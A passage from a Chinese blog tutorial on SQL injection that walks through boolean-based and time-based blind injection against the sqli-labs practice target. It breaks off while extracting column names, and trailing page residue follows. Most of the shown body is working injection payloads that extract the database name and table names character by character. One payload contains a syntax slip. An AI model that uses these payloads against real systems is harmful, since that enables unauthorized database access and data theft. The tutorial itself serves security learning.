sql注入(二)盲注,二次注入,宽字节注入

目录

目录

一、布尔盲注

1.判断库名的长度

 2.判断数据库名

2.1判断数据库名首字符

 2.2 判断数据库名的其余字符

二、时间盲注:

1.判断库名的长度

2.判断库名:

3.判断表名payload:

4.爆出列名

5.爆数据

三、二次注入

1.原理:

2. 关卡分析

2.1 登陆界面

 源码分析:

2.2 修改密码界面

 源码分析:

2.3 用户注册界面

 源码分析:

3. 开始二次注入

 注入思路:

4. 检测

登陆检测

注意一点:

二次注入实例二、 

1源码恢复

 2. 登陆界面弱口令爆破

3. 分析源码

 4.开始二次注入

4.1 注入思路

注入后的语句

4.2 第一次注入

4.2 第二次注入

 注入结果:

注意一点:

四、宽字节注入

1.前言:

2.注入原理

注意:GB2312与GBK的不同


盲注分为:布尔盲注、时间盲注

一、布尔盲注

相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,通过条件猜测数据库的内容

关键函数:lentgh()  ascii()  substr()

布尔盲注的做法

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

我们这里用sqli-labs-master靶场的第五关来测试

1.判断库名的长度

payload:

?id=1' and length(database())>8--+

 结果:

回显为空说明判断错误

 payload:

?id=1' and length(database())=8--+

结果: 

  存在正确回显说明判断正确,数据库名长度为8

 2.判断数据库名

2.1判断数据库名首字符

payload:

?id=1' and ascii(substr(database(),1,1))=115--+
#通过substr函数截取数据库的第一个字符并判断其ascii码是否为115(字母 s)

 结果:

 2.2 判断数据库名的其余字符

?id=1' and ascii(substr(database(),2,1))=101--+

  其余操作相同故不再赘述。最后得到表名:security

同理可爆出表名和数据

?id=1' and if(ascii(substr(user(),1,1))=114--+
#(substr(user(),1,1):截取user函数的第一个字符。(114为r)

一般这种情况下储存的就是root权限内容

二、时间盲注:

适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否为数据库数据。

 关键函数:if()  lentgh()  ascii()  substr() sleep()

我们这里用sqli-labs-master靶场的第九关来测试

1.判断库名的长度

payload:

?id=1' and if(length(database())>8,sleep(3),0)--+

 结果:

页面未进行3秒延迟响应,证明所请求的数据为假。

payload:

?id=1' and if(length(database())=8,sleep(3),0)--+

结果: 

 这里请求延迟了3秒,证明请求的数据为真。

2.判断库名:

payload:

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

结果:

 延迟3秒证明数据库名的第一个字符为“s”

payload:

?id=1' and if(ascii(substr(database(),2,1))=101,sleep(3),0)--+

  延迟3秒证明数据库名的第二个字符为“e”

由上可知数据库名的长度为8,经过8次检测数据库的名字为:“security”

3.判断表名
payload:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit x,y),z,d))=e,sleep(1),0)–-+
# x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位, e:字符对应的ascii码的长度。

例:爆出security数据库下第一个表的第一个字符

payload:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),0)--+

 结果:

延时成功,第一个表的第一个字符为e,经查第一个表名为:emails

爆出security数据库下第四个表的第一个字符

payload:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)--+

结果:

这里延迟注入成功,第四个表的第一个字符为u,经查证第四个表的表名为users,此表就是我们要找的用户表。

 注意这里爆出表名时最好使用 information_schema.tables 爆出表明,不要使用 information_schema.columns 表爆出表名原因:

 使用 information_schema.columns 查询表名时会出现重复表名, information_schema.tables 爆出表明只会出现单一的表名。

4.爆出列名

payload:

?id=1&
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值